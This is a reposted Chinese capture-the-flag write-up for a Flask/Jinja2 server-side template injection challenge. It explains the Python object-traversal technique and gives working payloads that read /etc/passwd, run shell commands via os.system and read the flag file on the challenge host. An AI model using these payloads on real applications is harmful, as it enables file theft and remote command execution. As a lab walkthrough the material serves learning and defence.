攻防世界 Web_python_template_injection(flask模版注入)

學習文章:https://www.freebuf.com/column/187845.html

https://blog.csdn.net/weixin_54515836/article/details/113778233

flask的渲染方法有render_template和render_template_string兩種。

render_template()是用來渲染一個指定的文件的。使用如下

return render_template('index.html')

render_template_string則是用來渲染一個字符串的。SSTI與這個方法密不可分。

使用方法如下

html = '<h1>This is index page</h1>'
return render_template_string(html)

flask jinjia渲染引擎中格式:

控制結構 {% %}

變量取值 {{}}

注釋 {# #}

基礎類的執行

__class__ 返回類型所屬的對象(類)

__mro__ 返回一個包含對象所繼承的基類元組,方法在解析時按照元組的順序解析。

__base__ 返回該對象所繼承的基類

// __base__和__mro__都是用來尋找基類的

__subclasses__ 每個新類都保留了子類的引用,這個方法返回一個類中仍然可用的的引用的列表

__init__ 類的初始化方法

__globals__ 對包含函數全局變量的字典的引用

輸入一個表達式1+2發現表達式被執行證明存在ssti

通過python的對象的繼承來一步步實現文件讀取和命令執行

思路:找到父類<type 'object'>-->尋找子類-->找關于命令執行或者文件操作的模塊。

尋找可用的引用類payload:

"".__class__.__mro__[2].__subclasses__()

解析:"".__class__.__mro__[2].__subclasses__()方法返回的是可用類(classes),而不是對象(objects)。

具體來說,__class__是一個內置屬性,表示一個對象所屬的類。通過調用__class__.__mro__,可以獲取該類的方法解析順序(Method Resolution Order,MRO),它是一個元組,按照查找方法時的順序列出了對象所屬類及其父類。

在MRO中,索引為2的元素表示對象所屬類的直接父類。對于大多數類,索引為2處的元素是object類,因為大多數類都直接或間接繼承自object類。

然后通過調用__subclasses__()方法,可以獲取一個列表,其中包含了該類的所有子類。這些子類是可用的類,可以用于創建對象和調用其方法。

綜上所述,"".__class__.__mro__[2].__subclasses__()方法返回的是可用類(classes)

發現type'file'類,可以調用其方法來讀取文件

構造一個payload讀取/etc/passwd文件

http://61.147.171.105:50215/{{"".__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}

[40]是<type 'file'>所在的第幾個位置,從零開始算

可用類中還有一個<class 'site._Printer'>類,可以調用其方法來執行命令(因為它含os模版,有其他的Printer也行)

找到其位置為71,再利用__init__魔術方法初始化類

構造payload

http://61.147.171.105:50215/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')}}

如果system被過濾或者找不到,用os的listdir讀取目錄+file模塊讀取文件

構造payload,listdir函數中的點表示當前目錄

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

看到flag的文件名

利用os模塊的file,read讀取

payload:

http://61.147.171.105:50215/{{"".__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}

成功讀取到flag

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/43891.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/43891.shtml
英文地址,請注明出處:http://en.pswp.cn/web/43891.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

自學第十五天----深入理解函數上

1. 函數是什么&#xff1f; 維基百科中對函數的定義&#xff1a; 子程序 在計算機科學中&#xff0c;子程序&#xff08;英語&#xff1a;Subroutine, procedure, function, routine, method, subprogram, callable unit&#xff09;&#xff0c;是一個大型程序中的某部分代碼…

python怎么求因數

要想做到python語言求因數方法&#xff0c;首先要明白其中的原理&#xff1a; 1、對由123456789這九個數字組成的9位數進行分解質因數。 2、1234576982x3x3x7x13x23x29x113&#xff0c;所以他的值因數是113。 3、總共有362880種可能&#xff0c;從中找出值因數中最小的數字和…

一節課說明一類奧數題系列——約數與倍數

小學奧數-約數與倍數 約數和倍數&#xff1a;若整數 a 能夠被 b 整除&#xff0c;a 叫做 b 的倍數&#xff0c;b 就叫做 a 的約數。 公約數&#xff1a;幾個數公有的約數&#xff0c;叫做這幾個數的公約數&#xff1b;其中最大的一個叫做這幾 個數的最大公約數。a,b兩數的最…

學生宿舍反限電插座控制功能

石家莊光大遠通電氣有限公司反限電插座功能的技術防止學生通過半波整流進行防止學生改變負載特性(阻性變為非阻性)的防止學生通過可控硅調壓技術(進行功率調整達到使用目的)惡性負載限制次數設置:管理部門可以根據實際要求設定每個宿舍違規次數。達到本次數。系統自動鎖定&…

【LeetCode】快樂數

目錄 一、題目二、解法完整代碼 一、題目 編寫一個算法來判斷一個數 n 是不是快樂數。 「快樂數」 定義為&#xff1a; 對于一個正整數&#xff0c;每一次將該數替換為它每個位置上的數字的平方和。 然后重復這個過程直到這個數變為 1&#xff0c;也可能是 無限循環 但始終變…

Linux:Ubuntu18.04下開機自啟動QT圖形化界面

Linux&#xff1a;Ubuntu18.04下開機自啟動QT圖形化界面 Chapter1 Linux&#xff1a;Ubuntu18.04下開機自啟動QT圖形化界面一、創建rc.local文件二、建立rc-local.service文件三、啟動服務查看啟動狀態四、重啟 Chapter2 將QT應用作為開機自啟動&#xff08;Linux系統&#xff…

代碼能力弱,編程思維幾乎沒有,有些勉強能看懂,讓自己敲,一臉懵逼?

最近有幾個人問我&#xff0c;說自己代碼能力弱&#xff0c;編程思維幾乎也沒有&#xff0c;簡單的代碼&#xff0c;勉強能看懂&#xff0c;讓自己敲&#xff0c;就一臉懵逼&#xff0c;下一步該怎么學習&#xff1f; 10幾年前&#xff0c;這些問題&#xff0c;就像是一道道難以…

Redis數據結構和持久化

數據類型 String&#xff1a;Map<String,String> 命令格式 set key value(相同的key會覆蓋&#xff09; get key incr key decr key setex key seconds value seconds秒后失效 ttl key del key setnx ke value(if not exist) 應用場景 計數器 比如&#xff1a;訪問次…

1招搞定maven打包空間不足問題

目錄 一、工具應用問題 二 、使用效果 三、使用方法 四、練習手段 一、工具應用問題 使用maven的package功能打包失敗&#xff0c;報錯“Java heap space”錯誤。 二 、使用效果 修改IDEA中maven內存使用大小后&#xff0c;打包成功。 三、使用方法 點擊菜單“File->Set…

C++ 例外處理 try throw catch

例外處理 程式中可能會發生的錯誤有三種&#xff0c;分別是語法錯誤(syntax error) 、執行期間錯誤(runtime error) 及語意錯誤(semantic error) &#xff0c;其中編譯器會直接檢查出語法錯誤&#xff0c;如果含有語法錯誤的程式無法過編譯&#xff0c;例如 $ g u06.cpp u06.c…

【PythonRS】基于Python分塊處理大型遙感影像的方法

RSer工作時不可避免會用到大型的遙感影像,由于分辨率過高、區域過大、波段信息過多等原因,都會導致數據非常的大。這個時候我們在進行一些簡單的操作,如計算NDVI、二值化、分類等時,計算機的內存都會溢出。因此今天跟大家分享一下我平時分塊的方法,中間如何計算就按照自己…

Docker 使用基礎(3)—容器

&#x1f3ac;慕斯主頁&#xff1a;修仙—別有洞天 ??今日夜電波&#xff1a;秒針を噛む—ずっと真夜中でいいのに。 0:34━━━━━━?&#x1f49f;──────── 4:20 &#x1f504; ?? ? …

let/const/var的區別及理解

在JavaScript中&#xff0c;let、const 和 var 是用來聲明變量的關鍵字&#xff0c;但它們之間在作用域、變量提升、重復聲明等方面存在區別&#xff0c;詳細情況如下: 1. let、const、var 的區別 (1) 塊級作用域 let 和 const&#xff1a;具有塊級作用域&#xff0c;由 {} 包…

百數教學秘籍:三步走,輕松規劃你的自動化計劃任務

通過設定任務計劃&#xff0c;用戶可以輕松安排指定的功能插件或數據助手在特定時間自動執行&#xff0c;有效提高工作效率&#xff0c;還確保了數據的及時更新和處理。任務計劃在應用啟動時自動啟動并在后臺運行&#xff0c;無需用戶持續監控&#xff0c;為用戶帶來極大的便利…

oracle哪些后臺進程不能殺?

oracle 有很多的后臺進程&#xff0c;在遇到特殊情況的時候如鎖表&#xff0c;如果等待的是一個后臺進程&#xff0c;那這時就需要考量是不是能殺掉這個后臺進程&#xff1f;殺掉這個后臺進程會不會引起實例崩潰&#xff1f;本著實踐出真知&#xff0c;本文針對oracle 11g&…

游戲開黑語音-使用云服務器部署teamspeak服務(系統Ubuntu 20.04 LTS)

目錄 前置物品服務器調整及部署1.重裝系統2.換源3.下載teamspeak服務端并部署 連接服務器參考 前置物品 一臺云服務器&#xff08;系統&#xff1a;Ubuntu 20.04 LTS) 服務器調整及部署 1.重裝系統 在騰訊云官網的主機控制臺內&#xff0c;選擇重裝系統 (由于之前為了快點和…

【刷題匯總 -- 最長回文子串、買賣股票的最好時機(一)、[NOIP2002 普及組] 過河卒】

C日常刷題積累 今日刷題匯總 - day0101、最長回文子串1.1、題目1.2、思路1.3、程序實現 2、買賣股票的最好時機(一)2.1、題目2.2、思路2.3、程序實現2.4、程序實現 -- 優化 3、[NOIP2002 普及組] 過河卒3.1、題目3.2、思路3.3、程序實現 -- dp 4、題目鏈接 今日刷題匯總 - day0…

Excel中用VBA實現Outlook發送當前工作簿

Excel中用VBA實現Outlook發送當前工作簿&#xff0c;首先按AltF11打開VBA編輯器&#xff0c;插入模塊&#xff0c;并在工具-引用中勾選 Microseft Outlook .0 Object Library(其中為你Microseft Outlook的版本號。 Sub 發送郵件() 保存當前excel ThisWorkbook.Save讓excel連接…

Linux 入門教程 by 程序員魚皮

本文作者&#xff1a;程序員魚皮 免費編程學習 - 編程導航網&#xff1a;https://www.code-nav.cn 大家好&#xff0c;我是魚皮。 前兩天我學編程的老弟小阿巴過生日&#xff0c;我問他想要什么禮物。 本來以為他會要什么游戲機、Q 幣卡、鼠標鍵盤啥的&#xff0c;結果小阿巴…

模擬防止重復提交

gitee地址&#xff08;需要自取&#xff09;AopProxy重復提交: 防止重復提交 (gitee.com) RestController public class SubmissionController {Autowiredprivate SubmissionService submissionService;private static Jedis jedis new Jedis("localhost",6379);pr…